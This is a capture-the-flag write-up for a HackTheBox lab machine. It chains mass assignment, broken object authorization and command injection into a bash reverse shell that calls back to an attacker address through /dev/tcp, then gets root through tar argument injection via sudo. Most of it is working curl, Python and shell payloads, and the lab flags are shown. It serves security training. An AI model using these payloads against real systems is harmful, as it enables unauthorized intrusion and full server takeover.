Overview
HackTheBox Fortress presented an API-first web application with three chained vulnerabilities: mass assignment, BOLA (IDOR), and command injection — resulting in full server compromise.
Difficulty: Medium | OS: Linux
Enumeration
nmap -sV -sC 10.10.11.200 -p- --min-rate 10000
PORT STATE SERVICE
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http nginx 1.22.0
# API endpoint discovery
ffuf -u http://10.10.11.200/api/FUZZ -w api_wordlist.txt -mc 200,201,401,403
# /api/v1/auth/register [200]
# /api/v1/users/me [401]
# /api/v1/admin/users [403]
Vulnerability 1: Mass Assignment
# Normal registration
curl -X POST http://10.10.11.200/api/v1/auth/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","email":"h@h.com","password":"P@ssw0rd"}'
# Response: {"id":42,"role":"user"}
# Inject role via mass assignment
curl -X POST http://10.10.11.200/api/v1/auth/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker2","email":"h2@h.com","password":"P@ssw0rd","role":"admin"}'
# Response: {"id":43,"role":"admin"} <-- role accepted!
Vulnerability 2: BOLA
import requests
BASE = "http://10.10.11.200/api/v1"
headers = {"Authorization": "Bearer <admin_token>"}
r = requests.get(f"{BASE}/admin/users", headers=headers)
users = r.json()
for user in users:
print(f"[+] {user['id']}: {user['username']} ({user['role']})")
# Found: svc_deploy (service account with deploy_key)
Vulnerability 3: Command Injection → Shell
# Test injection in product name field
curl -X POST http://10.10.11.200/api/v1/admin/products \
-H "Authorization: Bearer <admin_token>" \
-d '{"name":"test; id","category":"tools"}'
# Response: {"log":"Processing: test
uid=1000(app) gid=1000(app)"}
# Reverse shell
nc -lvnp 9001
curl -X POST http://10.10.11.200/api/v1/admin/products \
-H "Authorization: Bearer <admin_token>" \
-d '{"name":"x; bash -i >& /dev/tcp/10.10.14.5/9001 0>&1","category":"x"}'
# Shell!
app@fortress:~$ cat ~/user.txt
HTB{m4ss_4ss1gn_b0l4_rce_ch41n}
Privilege Escalation
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/backup.py
cat /opt/backup.py
# import os
# os.system(f"tar -czf /backups/{os.environ.get('BACKUP_NAME','backup')}.tar.gz /var/app")
# tar wildcard injection via env var
sudo BACKUP_NAME='x --checkpoint=1 --checkpoint-action=exec=bash' \
/usr/bin/python3 /opt/backup.py
root@fortress:~# cat /root/root.txt
HTB{t4r_w1ldcard_pr1v3sc}
Conclusion
Fortress showed how three individually low-severity issues combine into a critical chain. Validate every field your server accepts — never trust that the frontend restricts what clients send.